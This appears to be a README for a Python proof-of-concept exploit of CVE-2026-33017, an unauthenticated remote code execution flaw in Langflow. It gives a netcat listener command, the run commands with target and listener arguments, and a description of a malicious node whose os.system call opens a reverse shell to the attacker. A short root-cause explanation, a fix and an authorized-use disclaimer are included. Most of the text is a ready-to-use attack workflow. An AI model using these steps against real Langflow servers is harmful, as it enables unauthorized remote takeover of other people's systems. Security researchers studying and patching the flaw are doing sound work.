
Python POC, Exploit for CVE-2026-33017
⚠️ DISCLAIMER: This repository is for authorized security testing and educational purposes only. Use only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this tool.
CVE-2026-33017 is an unauthenticated remote code execution vulnerability in Langflow, a visual framework for building LangChain applications.
The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.
client_id cookie (any arbitrary string value)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
On your attacking machine, start a netcat listener to catch the reverse shell:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Constructs a malicious Langflow node containing a CustomComponent with attacker-controlled Python code. The code includes a top-level os.system() call that executes during graph construction (before the flow even "runs").
fire_payload() — Sends the malicious node as JSON to the unauthenticated build_public_tmp endpoint with a random client_id cookie.
Code Execution — The server parses the attacker-supplied flow data, instantiates the custom component, and calls exec() on the embedded code during prepare_global_scope(). The top-level assignment _r = __import__('os').system(...) triggers command execution immediately.
Reverse Shell — The payload spawns a Python reverse shell connecting back to your listener.
The build_public_tmp endpoint is designed to be unauthenticated (for public flows), but it incorrectly accepts attacker-supplied flow data via the data parameter. When data is provided, it bypasses the stored flow data and passes attacker-controlled nodes directly to the graph builder.
Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data from the database, never attacker-supplied data.
This project is provided for educational and authorized security testing purposes only.
| Argument | Required | Description |
|---|
--url | Yes | Target URL (e.g., http://localhost:7860) |
--flow-id | Yes | Public flow UUID |
--lhost | Yes | Your listener IP address |
--lport | Yes | Your listener port |
--timeout | No | Request timeout in seconds (default: 15) |